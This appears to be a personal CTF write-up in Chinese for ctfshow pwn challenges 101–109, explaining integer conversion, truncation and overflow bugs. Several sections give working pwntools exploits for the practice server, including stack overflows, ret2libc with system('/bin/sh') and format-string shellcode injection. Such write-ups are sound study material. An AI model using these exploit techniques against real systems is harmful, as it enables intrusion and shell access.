pwn101(整数转换、整数比较)
没啥东西,main函数要求输入对应值,直接交互就好了
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0x80000000;
v5 = 0x7FFFFFFF;
printf("Enter two integers: ");
if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &v5) == 2 )
{
if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
gift();
else
printf("upover = %d, downover = %d\n", v4, v5);
return 0;
}
else
{
puts("Error: Invalid input. Please enter two integers.");
return 1;
}
}
v4是个无符号数,v5是有符号数
在x86-64系统上,整数类型(int和unsigned int)的大小都是4字节,并且它们的存储方式都是二进制补码。
因此,当我们使用%d读取时,它会将输入的字符串解释为一个有符号整数,并将该整数的位模式直接存储到v4的内存中(因为v4的地址被传递给了scanf,而scanf不知道v4是无符号的,它只是按照%d的规则写入一个32位有符号整数)
所以需要注意的点就是%d
这种可以完成有符号和无符号数的隐蔽转换
该题目中,用有符号还是无符号效果一样,0x80000000 = -2147483648/2147483648都能用
16进制转值为10进制,nc交互进入gift函数
gift里面有cat /flag
直接拿到
pwn102(整数转换、整数比较)
更没东西,main函数要V4值为-1.交互输入进去的就是V4,写个-1进去就拿到flag
后日谈: 实际上还是有点说法的,通过%u
也造成了有符号和无符号数的隐蔽转换
这里虽然输入-1也行
但是-1是一个有符号数
通过%u才变成的无符号数
如图,当用%d的时候,会正常被认为是-1
但是一旦换成%u,-1会被解析为4294967295
所以,输入-1才能满足if判断
当然如果直接输入4294967295,那么经过%u它不会改变
也能直接过if判断
pwn103(整数比较、符号错误(有符号读取,无符号使用))
关键内容都在ctfshow函数中
ctfshow函数代码逻辑分析
- 输入长度:printf(“Enter the length of data (up to 80): “);
__isoc99_scanf(“%d”, &v1);这里要求用户输入数据的长度,并存储在变量v1
中。如果输入的v1
大于80,程序会直接退出:if ( v1 <= 80 )
{
…
}
else
{
puts(“Invalid input! No cookie for you!”);
}因此,输入的长度必须小于或等于80,才能继续执行。 - 输入数据:printf(“Enter the data: “);
__isoc99_scanf(” %[^\n]”, dest);这里要求用户输入数据,并存储在dest
数组中。dest
数组的大小是88字节,因此理论上可以存储最多87个字符(加上一个字符串结束符\0
)。 - 内存拷贝:memcpy(dest, src, v1);这里将
src
的内容拷贝到dest
中,拷贝的长度是v1
。然而,src
被初始化为0LL
,即空指针。如果v1
大于0,memcpy
会尝试从空指针拷贝数据,这会导致未定义行为(如程序崩溃)。但如果v1
为0,memcpy
不会执行任何操作,因为拷贝长度为0。 - 条件判断:if ( (unsigned __int64)dest > 0x1BF52 )
gift();这里判断dest
的地址是否大于0x1BF52
。由于dest
是一个局部变量,其地址通常在栈上,且地址值通常远大于0x1BF52
,因此这个条件很容易满足。
输入两次0的逻辑
- 第一次输入0:
- 输入长度
v1
为0。 - 程序会要求输入数据,但因为
v1
为0,memcpy
不会执行任何操作。 dest
数组的内容不会被修改,仍然是未初始化的。
- 输入长度
- 第二次输入0:
- 再次输入,控制的是
dest
v1
仍然为0,memcpy
仍然不会执行任何操作。
- 再次输入,控制的是
- 条件判断:
- 由于
dest
的地址(在栈上),通常远大于0x1BF52
,条件((unsigned __int64)dest > 0x1BF52)
成立。 - 因此,无论第二次输入什么数,程序都会调用
gift()
函数。
- 由于
漏洞总结
这个漏洞的根本原因是:
src
被初始化为0LL
,但没有检查src
是否为有效指针。v1
为0时,memcpy
不会执行任何操作,但程序没有对这种情况进行特殊处理。- 条件
((unsigned __int64)dest > 0x1BF52)
过于宽松,容易被满足。
因此,通过连续输入两次0,可以绕过memcpy
的潜在崩溃,并满足条件调用gift()
函数。
所以进入gift函数即可拿到flag
pwn104(整数溢出、整数转换)
没啥好说的,很标准的整数溢出然后依靠已写的that函数进行提权
第一次传入,传递的值是读取buf的长度,写长点就行了,无所谓的
你问我整数转换在哪?size_t nbytes被程序用%d读取,size_t 是个无符号整数类型,所以转换有了()
from pwn import *
p = remote("pwn.challenge.ctf.show",28302)
payload = b'a'*(0xe+8) + p64(0x000000000040078D)
p.sendline(b'21321')
p.sendline(payload)
p.interactive()
pwn105(整数截断)
存在提权函数,拿到地址
dest溢出一下,0x11+4
v3是int 8
实际上就是二进制取八位的值
也就是说,能取的最大值是 1111 1111 = 255
所以要想绕过if条件判断
就需要255+1(这个1是因为还需要算上0这个值,共256个值)+ 4 ~~~264
ljust方法填充一下垃圾数据就行了
char *__cdecl ctfshow(char *s)
{
char dest[8]; // [esp+7h] [ebp-11h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Authentication failed!");
exit(-1);
}
printf("Authentication successful, Hello %s", s);
return strcpy(dest, s);
}
exp:
from pwn import *
p = remote("pwn.challenge.ctf.show",28175)
shell = 0x0804870E
payload = b'a'*(0x11+4) + p32(shell)
payload = payload.ljust(260,b'a')
p.sendline(payload)
p.interactive()
pwn106(整数截断)
和105巨像
根据实际交互效果搞上ru正确交互就好了
from pwn import *
# context.log_level = 'debug'
p = remote("pwn.challenge.ctf.show",28231)
shell = 0x08048919
payload = b'a'*(0x14+4) + p32(shell)
payload = payload.ljust(260,b'a')
# cat_flag = shell
# payload = cyclic(0x14 + 4) + p32(cat_flag) + b'a' * 234
p.recvuntil(b'choice:')
p.sendline(b'1')
p.recvuntil(b'username:')
p.sendline(b' ')
p.recv()
p.sendline(payload)
p.interactive()
(还有些许问题,为什么被注释掉的payload也能用,为什么后补齐的垃圾数据长度是234,不就应该是256+3~~~256+7吗,奇奇怪怪的)
pwn107(ret2libc、整数溢出、整数转换)
主函数没什么好说的
跟进
int show()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
getch(nptr, 4);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
getch(nptr, v2);
return printf("You said: %s\n", nptr);
}
两个getch,两次输入
int __cdecl getch(int a1, unsigned int a2)
{
unsigned int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; ; ++i )
{
v4 = getchar();
if ( !v4 || v4 == 10 || i >= a2 )
break;
v2 = i;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + i;
*(_BYTE *)(a1 + i) = 0;
return result;
}
跟进getch函数发现这个实际上就是个类gets函数
a2就是拿来限定读取长度的
其他的没什么好说的
回到show函数
第一次,getch(nptr,4)
也就是nptr作为输入字符,读取长度为4
想要不退出show函数,需要过条件判断,条件判断的是v2不能大于32
回到getch,输入的字符被保存为v4
然后v4会被atio函数强制转换为整数
然后v4参与if条件判断
那现在考虑怎么过这个判断
第一是要比32小,show函数才能继续
第二是要在第二次输入,也就是getch(nptr,v4)的时候造成一个存在栈溢出的漏洞点出来
实际上考虑一下传入-1,就可以发现它这个值很有用
1、第一次传入后,char nptr = “-1”
2、v2 = atoi(nptr) 这里atoi将字符转变为整数,而-1就能以整数的形式辅助过if条件判断
3、第二次getch函数,v2作为的是getch的第二个参数,v2在show函数中的数据类型是有符号整数,但是进入getch后,身为第二个参数的它被定义为无符号整数,而-1被解释为无符号整数的话,参考pwn102的图片,会被解释为一个极大的整数
那么就导致了,getch(nptr,v2) <=====>getch(nptr,4294967295)
前面也说了,getch函数基本上可以看作是一个稍安全的gets函数,但是这里哪怕限定了读取长度,仍然通过整数转换导致了漏洞产生,形成栈溢出
然后就是很基础的ret2libc的构造了
没看到puts,那printf顶上就好了
泄露一个printf@libc 不太够用,多泄漏一个__libc_start_main就好了
然后找到对应的libc文件
然后就是很常规很常规的东西了
需要填充的垃圾数据长度为nptr这个缓冲区的长度,也就是0x2c + 4
exp:
from pwn import *
context.log_level = 'debug'
#io = process('./pwn107')
io = remote('pwn.challenge.ctf.show',28281)
elf = ELF('./pwn107')
libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')
main = elf.symbols['main']
printf_plt = elf.plt['printf']
printf_got = elf.got['__libc_start_main']
#printf_got = elf.got['printf']
io.recvuntil('read?')
io.sendline('-1')
io.recvuntil('\n')
payload = cyclic(0x2c+4) + p32(printf_plt) + p32(main) + p32(printf_got)
io.sendline(payload)
io.recvuntil('\n')
printf = u32(io.recv(4))
print(hex(printf))
libc_base = printf - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search("/bin/sh"))
io.recvuntil('read?')
io.sendline('-1')
io.recvuntil('\n')
payload = cyclic(0x2c+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.interactive()
(密码的,远程本地环境不一致,拿远程的libc版本为准,我就说怎么可能泄露的libc不对)
pwn108
没看懂,日后再说
pwn109
没玩明白,为什么ret = stack + 0x41C?
不该是0x40C吗?
其他的倒是好懂
选择选项1,这会调用sub_8A4
函数(在exp中对应io.sendlineafter('Quit!!!\n','1')
)。
这个函数会打印出buf的地址(通过printf("%x\n", buf)
),然后读取用户输入到buf中。
因此,io.recvuntil('\n')
接收到的是buf的地址(十六进制字符串),然后转换为整数,赋值给stack
。
所以,stack
变量就是buf的起始地址。
payload = fmtstr_payload(16, {ret:stack})
这是利用pwntools的fmtstr_payload函数来生成一个格式化字符串,用于将ret
地址处的值修改为stack
(即buf的地址
生成payload后,将其通过选项1(Input something)写入buf。
然后选择选项2(Hang out)触发格式化字符串漏洞(调用fmt(buf)),从而将返回地址修改为buf地址。
再次选择选项1(Input something),这次我们写入shellcode(asm(shellcraft.sh())
)。这次写入的shellcode会覆盖之前写入的payload,但是因为我们已经将返回地址修改为buf的起始地址,而这次写入的shellcode也是从buf起始地址开始写入,所以当main函数返回时,就会执行这段shellcode。
最后选择选项3(Quit)退出main函数,触发返回,执行shellcode
from pwn import *
context.log_level = 'debug'
#io = process('./pwn109')
io = remote('pwn.challenge.ctf.show',28238)
io.sendlineafter('Quit!!!\n', '1')
stack = int(io.recvuntil('\n'), 16)
ret = stack + 0x41c
payload = fmtstr_payload(16, {ret: stack})
io.sendline(payload)
io.sendlineafter('Quit!!!\n', '2')
io.sendlineafter('Quit!!!\n', '1')
io.sendline(asm(shellcraft.sh()))
io.sendlineafter('Quit!!!\n', '3')
io.interactive()